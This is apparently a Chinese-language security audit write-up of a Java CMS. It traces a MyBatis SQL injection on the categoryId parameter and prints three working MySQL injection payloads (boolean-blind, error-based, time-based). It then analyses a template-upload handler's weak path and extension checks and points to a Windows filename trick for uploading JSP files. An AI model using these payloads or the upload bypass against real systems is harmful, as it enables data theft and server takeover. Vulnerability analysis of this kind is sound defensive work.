1 SQL注入
分析过程:
1)分析框架使用了mybatis,然后分析XML文件发现几处SQL注入(这里介绍一处的分析过程)。
2)首先query里的find_in_set()使用的是“$”,存在SQL注入隐患,但前提是categoryId不能为空。
2)然后 XML文件首部发现是IContentDao类。
3)在IContentDao类里并没有发现query方法,然后去查找它继承的IBaseDao,找到对应的query方法
4)IBaseDao是接口,那就找一下实现类
5)看一下哪些地方使用了query方法
6) 找到一处对应的API: xxx/xxxx/list
7) 工具验证此API
Parameter: categoryId (POST)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: categoryId=1329257757913718785' RLIKE (SELECT (CASE WHEN (2857=2857) THEN 1329257757913718785 ELSE 0x28 END)) AND 'kxBY'='kxBY&pageNo=1&pageSize=10
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: categoryId=1329257757913718785' AND GTID_SUBSET(CONCAT(0x717a767871,(SELECT (ELT(4942=4942,1))),0x7162787171),4942) AND 'ytQR'='ytQR&pageNo=1&pageSize=10
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: categoryId=1329257757913718785' AND (SELECT 7063 FROM (SELECT(SLEEP(5)))nzpn) AND 'lnTF'='lnTF&pageNo=1&pageSize=10
2 文件上传漏洞
(1)一处文件上传的代码
@PostMapping({"/uploadTemplate"})
@ResponseBody
public ResultData uploadTemplate(Bean bean, boolean uploadFloderPath, HttpServletResponse res) throws IOException {
String uploadTemplatePath = Properties.upload.template;
if (this.checkUploadPath(bean)) {
return ResultData.build().error(this.getResString("err.error", new String[]{this.getResString("file.type")}));
} else {
if (StringUtils.isEmpty(bean.getUploadPath())) {
bean.setUploadPath(uploadTemplatePath + File.separator + BasicUtil.getApp().getAppId());
}
Config config = new Config(bean.getUploadPath(), bean.getFile(), (String)null, uploadFloderPath, bean.isRename());
return this.uploadTemplate(config);
}
}
1)首先 “String uploadTemplatePath=Properties.upload.template”是获取默认上传文件夹
2)然后checkUploadPath()函数检查用户的上传路径里是否存在可以“目录穿越”的恶意数据:
protected boolean checkUploadPath(Bean bean) {
return bean.getUploadPath() != null && (bean.getUploadPath().contains("../") || bean.getUploadPath().contains("..\\"));
}
a. 如果存在如../ ..\等恶意数据的直接返回错误
b. 路径安全检查通过,则再检查用户的上传路径是否为空
i. 为空,则直接使用“uploadTemplatePath + File.separator + BasicUtil.getApp().getAppId()”拼接的默认路径
ii. 不为空,则继续执行程序逻辑
3)最后将文件信息放到“Config”对象(如下图)里,返回给uploadTemplate()函数
(2)uploadTemplate()函数
1)首先判断文件格式,如果文件名里没有" . "将报出文件格式错误
2)判断uploadTemplatePath 是否是绝对路径,不是则使用getRealPath()获取绝对路径
3)接着判断文件格式是不是以" . "结尾,且操作系统是不是windows,即禁止windows系统下且文件名是以“.”结尾的。如果文件格式正常则获取文件的后缀,即文件类型。
4)是判断文件类型是否正确,禁止上传如下类型:.exe,.jsp,.jspx,.sh
5)后面就是正常文件路径拼接和文件保存了
(3)综上,我们要上传JSP文件可以利用windows操作系统文件命令规则绕过